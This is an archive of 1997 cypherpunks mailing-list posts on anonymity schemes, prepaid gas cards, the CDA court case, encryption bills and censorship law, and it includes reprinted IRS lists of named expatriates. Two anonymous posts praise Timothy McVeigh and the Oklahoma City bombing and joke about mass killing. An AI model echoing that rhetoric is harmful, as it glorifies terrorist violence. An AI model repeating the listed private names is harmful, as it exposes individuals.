  I seriously doubt that the slaves being whipped in the thirteen
colonies ignored the pain by concentrating on the beauty of the
layout of Congress. I doubt that Indians mourning the slaughter
of their families appreciated the structure of the Executive
Branch.

  "Style of government" doesn't much matter a rat's ass. All that
really matters is the balance of power between those in society
and how those who have power use it.
  If there are two of us and only one gun, we can draw toothpicks
to see which of us has "governership" over the gun for the day to
hunt for food, or if you are big and have an attitude you may just
seize control of the gun. If you're using the gun only to hunt and
share the food equally with me, either way is a "relatively decent"
form of "government" of the gun.
  Of course, if you get off on the "power" of controlling the gun,
you are going to get nervous when I start gathering sticks and
stones to build a house and start passing "amendments" to our
agreement or "style of government" that state I can only possess
small sticks and stones, etc, etc. Pretty soon, I'm building a
nuclear warhead in my straw hut...

> This whole discussion has been, from my point of view at least, mostly
> theoretical in a discussion of possible ways to alter the government to
> stay away from the situations that we are in now.

  Simple. Design all future government buildings to match the remains
of the Federal Building in OKC and replace the pictures of our beloved
President with pictures of Timothy McVeigh.
  The problem with any government is not the style, but the maintaining
of accountability. Putting the nuclear warheads in D.C. and giving the
magic button to a barmaid in Denver would likely be as "relatively
decent" a "style of government" as any other alternative.
  You want a "relatively decent style of government?" Make Stalin our
dictator and arrange for Mother Teresa to control a mechanical vice
that contains his nuts.

  Pick any "style of government" at random, as far as I'm concerned,
but don't forget to put a note on the fridge to remind yourself to
pick up some munitions for the coming revolution.
  McVeigh was just "voting early," as is allowed for by law for 
those in the military who may be busy serving their country at
election time.
  Change the style of government to any form you please and the pigs
at the public trough are going to fight (and kill) to stay there.
A change in "style" is not needed as much as a change in "attitude."
(e.g. "Hard weapons, soft targets, no compromise.")

  I don't need to buy a clue. I have a Ryder truck full of clues
that I haven't even used yet.

ClueMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Thu, 26 Jun 1997 04:40:59 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Anonymous browsing (was Re: Getting Back to our Radical Roots)
In-Reply-To: <3.0.2.32.19970620150717.0082bab0@descartes.bluemoney.com>
Message-ID: <97Jun25.162334edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 20 Jun 1997, Jeremey Barrett wrote:

> X-Premail-Auth: Good signature from user "Jeremey Barrett
>    <jeremey@bluemoney.com>".

> Anonymous web browsing is definitely being worked on. However, simply
> chaining proxies ala remailer chains is not sufficient because traffic
> analysis is fairly trivial.
> 
> The question is what's the threat model. If the goal is to prevent the
> server from identifying the client given limited resources, then
> www.anonymizer.com or similar is sufficient. However, the real problem
> is preventing an entity with unlimited resources and control over most
> of the nodes in the anonymous network from conducting successful traffic
> analysis. This is an entirely different and very difficult problem.

Having got the latest Applied Cryptography, it looks like it would be
possible to set up a series of servers on the "Dining Cryptographers at a
Disco" model.  It would require a constant flow, probably something like
token ring, so couldn't be used for high bandwidth applications, but it
completely nukes traffic analysis.

(as an aside, if someone has control of "most of the nodes" they can cheat
however they want without resorting to traffic analysis - if they
control few nodes the picture is different).

[brief but wrong description: assume there are an even number of servers. 
Each generates a random number and passes it on along with a parity bit. 
Then next server compares it's random number with the previous one and
flips the parity bit if the random bits *differ*, and then sends the
parity bit and the same random bit to the next server. When the bit has
completed the circuit, the parity bit will be zero (which would be
broadcast or send in the next round), unless someone altered it
intentionally.  So any one can set a one bit by simply not flipping it,
and no one will know who since all anyone knows is the original state of
the parity bit when they saw it, and the previous random number.  If a
series of bits is encrypted using a public key, then only the recipient
will be able to receive it, and in all cases no one will know who sent or
received the message.  You need collision detection like ethernet, and
some addressing stuff, but all the extra bandwidth obscures the sender
and recipient.  Someone please post a clearer description]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Thu, 26 Jun 1997 05:10:57 +0800
To: Brad Dolan <bdolan@USIT.NET>
Subject: Re: Shell cancels all but $25 pre-paid cards
In-Reply-To: <Pine.GSO.3.95.970625065731.890A-100000@use.usit.net>
Message-ID: <97Jun25.163258edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 25 Jun 1997, Brad Dolan wrote:

> 
> About 6 months ago, Shell introduced pre-paid cards in $25, 50 and 100
> denominations which could be used to ~anonymously pay for gas at the pump.
> Suddenly, Shell has withdrawn all but the nearly-pointless $25 cards.
> 
> Security problems?
> 
> Complaints from the Freehdom usurpers?
> 
> Inquiring minds want to know.

Probably because they sold the $50 and $100 at a discount ($48 and $94).

Margins are slim in the competitive areas, so getting a 6% discount (on
something you can charge to a cashback card) probably ate into their
profits.  I didn't ask why, but I bought a few $100 since there is a
Shell station at the corner :).

$100 of gas for $94 - I'll take it while I can.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Thu, 26 Jun 1997 04:53:59 +0800
To: cypherpunks@Algebra.COM
Subject: First Two 'Taxpatriates' Lists
Message-ID: <3.0.2.32.19970625163438.035d18a0@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

What you find when cruising the Federal Register:

Internal Revenue Service
NOTICES
Health Insurance Portability and Accountability Act of 1996:
    Individuals losing United States citizenship; list, 4570

Health Insurance Portability and Accountability Act of 1996;
          implementation:
    Individuals who have chosen to expatriate; quarterly list, 23532-
            23533


http://congress.access.gpo.gov/cgi-
bin/waisgate.cgi?WAISdocID=698949765+2+0+0&WAISaction=retrieve

[Federal Register: January 30, 1997 (Volume 62, Number 20)]
[Notices]               
[Page 4570]
- From the Federal Register Online via GPO Access [wais.access.gpo.gov]
[DOCID:fr30ja97-94]

=======================================================================
- -----------------------------------------------------------------------

DEPARTMENT OF THE TREASURY

Internal Revenue Service

 
Quarterly Publication of Individuals, Who Have Chosen To 
Expatriate, as Required by Section 877(a)

AGENCY: Internal Revenue Service (IRS), Treasury.

ACTION: Notice.

- -----------------------------------------------------------------------

SUMMARY: This notice is provided in accordance with IRC section 877(a), 
as amended, by the Health Insurance Portability and Accountability Act 
(HIPPA) of 1996. This listing contains the name of each individual 
losing United States citizenship (within the meaning of 877(a)) with 
respect to whom the Secretary received information during the quarter 
ending December 31, 1996.
    The following individuals have lost their U.S. citizenship during 
the quarter ending December 31, 1996.

Last Name, First Name, Middle Name

Alger, Frederick Moulton
Anthony, Susan
Binder, Heide Marie
Brilioth, Margaret Joan French
Brown, Dolores Celia
Buck, Helen Smith
Carter, Wesley Anthony
Cattier, Mathieu Francois Felicien
Cha, Stephen Sungdeok
Chae, Soo Jung
Chastain, Heidi Keim
Choi, Jong Suk
Choi, Jeong Hyoun
Cheng, Wen Hon
Chu, Samuel Wai Tak
Churchill, Owen Paul
Clyde, Kyung Ja
Creeth, Patricia Marilyn
Davis, Sonja Elisa
Diamond, Monica Clara
Dimma, Katharine Louise
Dobmeier, Brigitte
Dworschak, Elisabeth
Eggers, Carsten Rolf
El Ouassil, Victoria Johanna
Exelby Nee Bergdahl, Shirley Yvonne
Feiner, Gideon
Fergusson, Barbara
Gaffney, Michael Terry
Garza, Caroline Ellen
Gerstner, Sylvia Grace
Getty, Mark Harris
Grlica, George
Guillon-Teruel, Francoise Laure
Gulya, Gabor Laszlo
Haas, Eric Michael
Hively, Ronald Andre
Hwang, Paul Philip
Johnson, Chris Norman
Keel, Yolinda
Kiang, David Tien Sik
Kim, Soo Hong
Kim, Jong Hwan
Knight, Louis Helmer
Kosta, Robert Stanley
Kraus, Ruth
Krimholtz, Michael John
Krupiak, Katharine Elfriede
Leathers, Christina Helene
Lee, Sung Soo
Lee, Jennie Mi
Lee, Hae Ree
Lee, Tse-Tah
Lim, Byung Ok
Manquen, Timothy Duane
Marti, Ruth Daniela
Martinez, Roland Joe
McMillan, Norman
Minz Geneen, Florence Rose
Moon, Steve Young Chang
Morris, Joan Marie
Mussells, Emily Layman
Olaussen, Tom Kaare
Parsons, Graham Turner
Patterson, Yong Tok
Phillip, Thomas William
Posey, Franklin Melvin
Priest, Francesca Louise
Pujals, Eduardo Fernandez
Roh, Young Jeung Woo
Rossing, Dennis Siegbert
Segewitz, Elise
Seto, John Gin Chung
Simonsen, Thomas Keith
Smith, Beverly Anne
Sofronas, Angelos
Sommerlad, Elizabeth Hale Winkler
Storjohann, Carol Ann
Su, Beyue Chen
Tanenbaum, Julie Lynn
Tanenbaum, Kenneth Michael
Tanenbaum, Lisa Ellen
Trihey, Timothy Patrick
Trotta, Robert Thomas
Tze, Lou Man Ping
Vourecas-Petalas, Tatiana
Wong, Michelle Nancy
Wong, Denise Angela
Wurtz, Patrick George
Yarnall, Alexander Coxe
    Approved: January 22, 1997.
Doug Rogers,
Project Manager, International District Operations.
[FR Doc. 97-2283 Filed 1-29-97; 8:45 am]
BILLING CODE 4830-01-U


http://congress.access.gpo.gov/cgi-
bin/waisgate.cgi?WAISdocID=699983152+1+0+0&WAISaction=retrieve


[Federal Register: April 30, 1997 (Volume 62, Number 83)]
[Notices]               
[Page 23532-23533]
- From the Federal Register Online via GPO Access [wais.access.gpo.gov]
[DOCID:fr30ap97-142]

- -----------------------------------------------------------------------

DEPARTMENT OF THE TREASURY

Internal Revenue Service

 
Quarterly Publication of Individuals, Who Have Chosen To 
Expatriate, as Required by Section 3069F

AGENCY: Internal Revenue Service (IRS), Treasury.

ACTION: Notice.

- -----------------------------------------------------------------------

SUMMARY: This notice is provided in accordance with IRC section 3069F, 
as amended, by the Health Insurance Portability and Accountability Act 
(HIPPA) of 1996. This listing contains the name of each individual 
losing United States citizenship (within the meaning of section 877(a)) 
with respect to whom the Secretary received information during the 
quarter ending March 31, 1997.

LAST NAME, FIRST NAME, MIDDLE NAME

ABDULKADIR, HELEN,
ACKER, CLARE, FRENKEL
ADAMKOWSKI, RANDAL, JOHN
ADAMS, JINA
ADAMS, DORIS, LEE
ADAMSON, VINCENT, ROY
ADRIAN, BARBARA, RUTH
ADRIAN, RICHARD, ALLAN
ALBERT, CRAIG
ALEXANDER, SO, AE
AN, KIM, MYUNG
ANDERSON, SUSAN, LALLY
ANDREWS, DENNIS, CLEVELAND
ANGLE, BONNIE, JEAN
ANGLE, CLOYD, FRANCIS
AVELING, ROSALIND, ROASLIND
BAGLEY III, RALPH, COLT
BANG, GISLE
BATTINGER, HARRY, ROBERT
BATTINGER, LORE
BEATT, HELEN, CHRISTINE
BEAVERS, WILLIAM, SAMUEL
BENDER, MARIA, KATHARINE
BENSON, LINDA, OTTILIE
BEPPU, OTSUYA
BEPPU, KUNINORI
BERGERUD, ARTHUR, THOMPSON
BERGMANN, FRED, HARALD
BESSETT, ALICE, AGMES
BLINN, DONALD, GEORGE
BOGDANOVICH, MARTIN, JOSEPH
BOGGS, TAE, KYONG
BONNICI, AARON, FRANK
BOWDEN, ROBERT, ROY
BRADBURY, GORDON, WILLIAM
BRADLEY, ESTIL, GIRVEN
BRENNINKMEYER, FRANK, BENEDICT
BROWN, PHILLIP, NICHOLAS
BRYAN, LISA, SUZANNE
BUCKNER, MICHAEL, ANTHONY
BURROWS, JACK, ANTHONY
BYUN, DOUGLAS, HEE
CAAN, DURIETTA, MARIA
CAMILLERI, TERRY, VICTOR
CASAL, CHRISTIAN
CASEIRO, HELEN, VUOKKO
CAVAGHAN, GLADYS
CENTURION, LEOPOLDO, FRANCISCO
CHALABY, JOSEPH, IBRAHIM
CHAMBERLAIN, COURTNEY, CHARLES
CHAN, CALEB, YUET-MING
CHANG, STEVE, PEN
CHANG, JIM, BYUNGOH
CHANG, STEVE, SUNGGILL
CHAUDHRY, LATIF, MOHAMMAD
CHEN, SHUENN, SAMSON
CHEN, RAY, RUEN-WU
CHENG, JOHN, S.
CHENG, EDMUND, WAI-WING
CHIEN, DAVID, TA
CHO, SON, KYONG
CHO, SUE, HEE
CHO, ERIC, DONGJOON
CHO, BONG, HYEON
CHO, HEISOOK
CHOI, HOLLYANN, HUICHON
CHOI, STEVEN
CHOI, MYUNG, DUK
CHOI, JANG, SHIK
CHOI, JOHN, BONG
CHOY, RAYMOND, O.
CHU, JAMES, CHI YING
CHU, EDWARD
CHUNG, LISA, EUN HEE
CHUNG, BONG, HEE
CHUNG, JEFFREY, SEI JONG
CHUNG, PAUL, CHANG-HOON
CHUNG, BO, YOUNG
CHUNG, DANIEL, JONGIN
CHUNG, IN, HO
CIANCIO, CARMELA
CLARK, MALCOLM, JOHN
CLARK, JANET, L.
CLARK, MARGARITA, GIL
CLARK, CAROLYN, HARRIET
CONLON, PAUL, JOSEPH
CONWAY, WILMER, CHEYNEY
COOK, WILHELMINA, DOROTHY
COOLEY, ANNE, MARLOWE
COOPER, LINA, GERTRUD
CORSAT, MARCELLE,
CRAFT, NORMAN, DAVID
CRAMER, DEBORAH, LYNN
CREETH, PATRICIA, MARILYN
CROTTY, JULIANA, MARY
CRUZ, ALBERTO, JUAN
CUNNINGHAM, PETER, ALLAN
DANIELSSON, LOUISE, MARIE
DAVID, DAN
DAVIDSON, ALISTAIR, GREGOR
DAVIDSON, ALISTAIR, GREGOR
DE HERRERA, CRISTINA, SORIANO
DEBONO, DENNIS
DEWAR, DONALD, CAMERON
DIAS, ALFONSO, RICK
DIAZ, REBECCA
DIETZ, CYNTHIA, JANE
DOHERTY, HELEN, MARIE
DOKKO, JOHN, BUCK
DONALD, JOHN, HOLLAND
DRAPER, RICHARD, LEE
EKLUND, PATRICIA, ELIZABETH
ELLIS, OK, HUI
ERHARD, WERNER, HANS
ESKILDSTRUP, KIRKE
EVANS, WESLEY, KENNETH
EVANS, BRENDA, JOYCE
EVANS, MARK, RIVINGTON
EVERAND, MARCUS, ANGEL LANE
FAIRLEIGH, SHIZUE
FARIS, JR., GERALD, DALE
FARMER, MICHAEL, LEE
FELDMAN, ANDRE, JAY
FIRMENICH, EVA, MARIA
FITZGERLALD, STEPHEN, CHARLES
FOX, MARY, CLARE
FREEMAN, ROGER, DANTE
FURGUIEL, SHIRLY, ANN
GALLAGHER, THOMAS
GARCIA, PABLO, MARCANO
GENTLE, CHONG, CH
GEORGAS, TARSI, BABIS
GIBBES, VIRGINIA
GLANNUM, HANS, ERLING, SOUNDERGA
GOEKJIAN, CHRISTOPHER, ALLAN
GOODELL, JOHN, SILAS
GOODYEAR, PAUL, WILLIAM
GRACE, FRANK, CLAYTON
GRANDE, GARY, ROY
GRANT, BRITT, HELEN
GREER, LAWRENCE, DONALD
GRIMM, CHARLES, RICHARD
GROSS, BRENT, PETER
GUENN, HEMMY, KIM
GUT, ANN, F.
GUTEDRING, SUSANNE, STEPHANIE
HABERFELD, FELICE, JEANNE
HAGELAND, INGE
HAGGLOF, MAI-LISE, INGER
HAHN-HADJALI, KAREN, CHRISTINE
HAN, JUEN, HYUNSOOK
HAN, SOO, NAM
HARDEN, EDGAR, FREDERICK
HARTWELL, GARY, ALAN
HAUGE, PRISCILLA, ANN
HAUGEN, LINDA
HAUS, BODO, GUNTER
HAYWOOD-FARMER, MARY
MARTHA
HEGARTY, DENIS, PATRICK
HELLSTROM, GUNNAR, OLOF
HENDERMAN, KEITH, BERTRAND
HENRIKSEN, KIRSTEN, LILLIAN
HERZOG, ERNST
HESSER, J., CRAIG
HEYMAN, ALAN, CHARLES
HIGGS, JUDITH, LYNN
HIGGS, DEREK, LESLIE
HIGHTOWER, BONITA
HO, HELAN, C
HO, LEO, CHI-CHEN
HO, STELLA, SUK YING CHEUNG
HOFFENBERG, PAUL, MARK
HOFMANN, MARGARET, ELSIEJ
HOLGERSON, MARIANNE
HOLMES, TERESA, ANN
HONG, JAJMES, SHU, KING
HONG, HARRY, YOUNG
HONG, FRANK

[[Page 23533]]

HONG, CONNIE
HORMEL, SANDRA, LYNN
HUMPHREY, JUDITH, ANN
HYUN, PAUL, SOONNO
JOWETT, JOHN
KAESTNER, LOUISE, CHRISTEL MARIE CA
KASPERSEN, IRENE
KENT, PHILIP
KIM, MICHAEL, HYUNG
KIM, HWI, JUNG
KIM, SUN, MI
KIM, KO, KWANG
KIM, SANG, WOOK
KIM, EUGENE, YONG
KIM, SUNG, YE
KIM, SOON, JUNG
KING, CHARLOTTE, OTTILIE
KOEFOE, KAREN, ELIZABETH MUNCH
KORMAN, SANG, ROK
KURTZ, JOHN, BELLAIR
LEE, EILEEN
LEE, KI, TAE
LEE, MIN, JAE
LEE, HYANG, WON
LYNAS, JOHNATHAN, FRANCIS
MCCARTHY, THOMAS, MICHAEL
MIN, CHAN, KI
MORRIS, JANE, MARIE
MULKEY, JOHN, CARTER
OLAUSSEN, TOM, KAARE
PARKER, PHILIP, HULL
POSTLER, KEITH
REUSSER, CATHERINE, DORIS
RICHER, ORTRUD, MARGARETE
RINGWAIT, JOHN, FOSTER
ROSSI, IDDA-MARIE
ROTHE, VIRGINA, CAROLINE R.
ROTHE, RUDOLPH, ALBERT
RUGTVED, KAI, SIGURD
SCHAEPPI, ULRICH, HANS
SCHOCH, NANCY, STEWART
SHELLEY, JAMES
SMITH, JONATHAN, DAVID
SNISKY, DEBRA, ANNE
STERNBERG, ILSE, RACHEL
STROUTH, ROBERT, LOUIS
STROUTH, BETTY, LOU
SUN, ALBERT, ING-SHAN
SUSSMAN, NAN, BRIGHT
THOMPSON, LISE
TOUCHE, ELIZABETH, LOUISE
VALKOS, JOSEPH, DANIEL
WALTHALL, FIONA, ANNE
WALTON, GARY, LEE
WHANG, HEEYU
WOLFE, ELENE, J.
WOOD, DIANA, E.
YOON, JOHN, CHONGYUL
ZU PAPPENHEIM, CHRISTIAN, RUDLOPH  

    Approved: April 24, l997.
Doug Rogers,
Project Manager, International District Operations.
[FR Doc. 97-11139 Filed 4-29-97; 8:45 am]
BILLING CODE 4830-01-U




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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Thu, 26 Jun 1997 06:06:01 +0800
To: cypherpunks@toad.com
Subject: Re: New Laws in Oregon - "Land of the Legal betatest"
In-Reply-To: <199706250637.CAA15190@dhp.com>
Message-ID: <Pine.GSO.3.95.970625174813.4119B-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 25 Jun 1997, lucifer Anonymous Remailer wrote:

> > We've got a relatively decent style of government here. 

>   Sure, as long as you don't step out of line, like at Kent State
> or Waco, or at the Democratic convention in Chicago.
>   Any style of government is "relatively decent" if you don't
> rock the boat. Buy a fucking clue...

Do I have to spell out everything for you?  "Style of government" as in
governmental *DESIGN*, not the current situation.  I'm talking about the
layout of Congress, the Executive branch, the Supreme Court, etc.  I'm not
discussing who is in the Congress, the Executive branch, or the Supremem
Court at this point in time.

This whole discussion has been, from my point of view at least, mostly
theoretical in a discussion of possible ways to alter the government to
stay away from the situations that we are in now.

Buy you're own fucking clue.

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 26 Jun 1997 10:15:11 +0800
To: nobody@huge.cajones.com (Huge Cajones Remailer)
Subject: Re: One Ryder Truck--One Vote
In-Reply-To: <199706251253.FAA24434@fat.doobie.com>
Message-ID: <3.0.2.32.19970625185156.030f3bbc@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:53 AM 6/25/97 -0700, Nobody wrote:
>  Voting is the new Catch-22/Damned if you do, damned if you don't,
>etc, etc. It's time for a new non-candidate that is a cross between
>Pat Paulsen ("If elected, I will not serve.") and Abby Hoffmean
>("Steal This Book.").
>  My inclination is for a candidate named "Fuck You!", but I'm sure
>someone else can come up with a more creative candidate. 

Wavy Gravy has occasionally run a "Nobody For President" campaign.
"Who'd be the best President?"		"Nobody!"
"Who's going to balance the budget?"	"Nobody!"
"Who's going to fix the schools?"		"Nobody!"
"Who can you trust with the Bomb?"		"Nobody!"
"Which candidate cares about the poor?"	"Nobody!"

A few years back, the Libertarian Party was trying to get
on the ballot in Washington State by running a governor campaign.
They didn't make it, because they lost the protest votes to
a candidate who changed his name to "Absolutely Nobody".
Absolutely Nobody got about 7% of the vote.

(The unfortunate followup story later ran in the SF Chron 
under the title "Absolutely Nobody died today"; he was in
politics because he was an AIDS activist, and had the disease.)

During the '92 elections, I was considering getting 
Frank Zappa on the ballot in New Jersey.  He'd already dropped
out of the race due to his cancer, but it only takes 1000 signatures there,
which would have been an afternoon's work at Rutgers.
He's dead now, but he probably would enjoy running anyway :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 26 Jun 1997 10:22:39 +0800
To: cypherpunks@toad.com
Subject: SF RALLY Against Internet Censorship, Thursday or Friday
Message-ID: <3.0.2.32.19970625190547.0077eaec@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Looks like the CDA decision is going to happen soon...
----- Begin Included Message -----

From: Stanton McCandlish <mech@eff.org>
Subject: SF RALLY Against Internet Censorship
Date: Tue, 24 Jun 1997 15:02:21 -0700 (PDT)
X-URL: http://www.eff.org/~mech
To: bayff@eff.org (bayff mailing list)

---------- Forwarded message ----------
Date: Tue, 24 Jun 1997 14:05:16 -0800
From: "--Todd Lappin-->" <telstar@wired.com>
To: telstar@wired.com
Subject: SF RALLY Against Internet Censorship

Please help spread the word in the Bay Area!

--Todd Lappin-->
Section Editor
WIRED Magazine
                -- Please forward until June 26, 1997 --
___________________________________________________________________________

               *** RALLY AGAINST INTERNET CENSORSHIP ***

     ** Supreme Court Decision on CDA Expected Wednesday or Thursday **


AMENDMENT I: "Congress shall make no law ... abridging the freedom of
speech, or of the press; or the right of the people peaceably to
assemble."


               *** RALLY AGAINST INTERNET CENSORSHIP ***

          ** South Park, San Francisco, California -- 1 PM **

___________________________________________________________________________

In February 1996, President Clinton made Internet censorship the law of the
land by signing the Communications Decency Act.  The CDA -- a blatant
affront to free speech -- has since become a symbol of the ignorance and
contempt the American political establishment reserves for Internet users
and their constitutional rights.

Now, more than one year later, the United States Supreme Court is poised to
decide the fate of free speech for the 21st century.

On Wednesday or Thursday of this week, the Supreme Court will issue a
decision in the landmark case of ACLU vs. Reno.

On the day the decision comes down, The Electronic Frontier Foundation,
Wired Ventures, and the Citizens Internet Empowerment Coalition invite you
to join us for a RALLY to show your support for free speech online.

PLEASE JOIN US to discuss the free speech implications of this ruling with
plaintiffs and organizers of the legal challenge.

___________________________________________________________________________

WHEN: On the day the Supreme Court issues its decision.

EITHER.... Wednesday June 25, 1997 *OR* Thursday June 26, 1997 at 1 PM

For up-to-the-minute information on the status of the decision, please
visit http://www.ciec.org

WHERE: South Park (between 2nd and 3rd, Bryant St. and Brannan St.) San
Francisco.

SPEAKERS (Tentative List):
Bruce Ennis, the lead attorney who argued this case before the Supremes
Mike Godwin, Electronic Freedom Foundation
Judith Krug, American Library Association
Sameer Parekh, C2Net
Todd Lappin - Wired Magazine

BRING: Attention-grabbing posters, signs, and banners that demonstrate
your committment to free speech and expression, and your feelings
about Congress.

___________________________________________________________________________

FOR UPDATED INFORMATION ON THIS RALLY: http://www.ciec.org/events/sf

FOR BACKGROUND INFORMATION ABOUT THE CDA:
http://www.ciec.org
http://wwww.hotwired.com/special/indecent/
http://www.eff.org/blueribbon.html

___________________________________________________________________________

(NOTE: We are *actively* seeking participation and support from ALL members
of the Bay Area media, online, Internet, new media, and telecommunications
communities. Please forward this message to anyone you think should attend,
and to all relevant mailing lists and newsgroups.)

MEDIA CONTACT:
Lessley Anderson, Wired Magazine, 415-276-5162, lessley@wired.com





--
Stanton McCandlish                                           mech@eff.org
Electronic Frontier Foundation                           Program Director
http://www.eff.org/~mech    +1 415 436 9333 x105 (v), +1 415 436 9333 (f)
Are YOU an EFF member?                            http://www.eff.org/join


----- End Included Message -----




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Downey" <digital_matrix@hotmail.com>
Date: Thu, 26 Jun 1997 10:30:36 +0800
To: cypherpunks@cyberpass.net
Subject: Secure Public Networks Act of the U.S
Message-ID: <199706260224.TAA03052@f54.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain

This little gem is extremely scarey, most specifically Title II Sec 207 
and Title III Sec 307 most of all!!  I have been on the phone with 
Congressman Jack Quin of NY, Senator D'Almato of NY, my local Common 
Counselman, and the U.S Attorny's Office (They will be the ones tasked 
with prosecuting offenders under this Bill.). It seems that not one of 
them knows anything about it. And they are currently IN Washington!!!
I was even told by Congressman Quin's Office that no such bills as the 
ProCODE, ProCODE II, or the McCain/ Kerrey Bills have been presented to 
Congress! Talk about your basic denial! I have provided a copy of the 
original HTML version of the SPNA as proposed by McCain and Kerrey. This 
was pulled directly from Senator Kerrey's website.




---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 26 Jun 1997 09:01:03 +0800
To: cypherpunks@toad.com
Subject: Re: Bomb Making Info to be Illegal
Message-ID: <199706260047.UAA15143@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Adrogynous Stewart wrote:
> In the final form it only
> prohibits the teaching of bombmaking for criminal purposes. It's not clear
> to me that the bill will restrict such material on the net, unless they
> implies criminal use. 

  Has everyone in society lost their fucking mind?
  Explain to me please, the dire consequences of not having this law.

  Without this law, are people who teach others to make bombs for
criminal purposes not going to go to jail? Bullshit!
  How much of our tax money is being fucked away to pass a law
to establish that the legislation's sponsors aren't in favor of
children in a daycare being bombed?
  People who currently teach bombmaking for criminal purposes are
already going to jail. No doubt a new law will result in some
poor schmuck who is not too good with the English language going
to jail (at our expense) for twenty years for saying "you _should_
use a short fuse" instead of saying "you _could_ use a short fuse"
(or somesuch nonsense).

  Nothing personal, pal, but to even speak about the proposed law
without pointing out that Feinstein is an ignorant bitch who is
fucking away our tax dollars on a useless law, meant to impress 
the dim-witted, is nothing less than conceding to the reign of
knee-jerk stupidity.

  Someone please put up a website teaching people how to use
bananas to commit a crime. I want some company in prison when
I kill 168 people with a banana.

BananaMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 26 Jun 1997 12:19:33 +0800
To: cypherpunks@toad.com
Subject: More Supreme Court CDA predictions (fwd)
Message-ID: <Pine.GSO.3.95.970625210454.11551E-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Wed, 25 Jun 1997 21:04:10 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: More Supreme Court CDA predictions

[Probably the Supreme Court's last free speech decision before the CDA
came down today in Glickman v. Wileman Brothers. I'm still reading through
the opinion, but as I understand the case, U.S. Agriculture Department
regulations required nectarine and peach growers in California to
contribute to generic pro-nectarine/peach advertising. The Ninth Circuit
struck down the regs, saying the "First Amendment right of freedom of
speech includes a right not to be compelled to render financial support
for others' speech." But today the Supreme Court reversed, ruling that
"Respondents are not required themselves to speak but are merely required
to make contributions for advertising." Souter, Rhenquist, Scalia, and
Thomas dissented. This is hardly a decision that bodes well for the First
Amendment. --Declan]

---------- Forwarded message ----------
Date: Wed, 25 Jun 97 19:15:00 DST
From: "Halpert, James - DC" <jhalpert@pipermar.com>


Declan,

One never knows until the opinions are issued, but there is a good deal of
objective evidence contradicting Prof. Volokh's hunch.  At oral argument,
Rhenquist, Scalia and Thomas all asked hostile questions of Bruce Ennis,
and Rhenquist and Scalia stepped in to help out Seth Waxman, the
Government's oralist, when he was having trouble answering tough questions. 

I'm not sure that Rhenquist and Thomas have ever voted to strike down an
indecency restriction.  Although Scalia has been taken somewhat more
libertarian stands on speech restrictions than the other two, he said flat
out at oral argument that he thought the government should win. 

As for the dissenting opinion they all joined Denver Consortium decision
last term, it may have drawn a clearer line than did the plurality
opinion, but would have upheld a requirement that cable subscribers OPT-IN
IN WRITING thirty days in advance of being able to receive indecent
programming.  If you like that, you may well like the CDA .. . .  We'll
see soon enough. 








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Thu, 26 Jun 1997 10:23:55 +0800
To: azur@netcom.com
Subject: Re: Bomb Making Info to be Illegal
In-Reply-To: <v03102803afd74b50dcd5@[10.0.2.15]>
Message-ID: <Pine.LNX.3.96.970625210420.3374A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Steve wrote:

> What's not clear to me, and I wish someone would explain, is how the SC
> managed to find pornography not similarly protected speech.  Arms and
> munitions can be as arousing for some (e.g., Dr. Strangelove) as sex is for
> others.

It appears that Roth v. United States was the first case before that the
U.S. SC decided that "obscenity" was not protected by the 1st Amendment.
The reasoning was that while offensive, unorthodox, or hateful ideas
are protected by the 1st, they, unlike pornography, have at least *some*
redeeming social value.  The court noted that laws enacted after the
ratification of the U.S. Constitution banned several different kinds of
speech, including profanity, blasphemy, and libel.  It's a very common
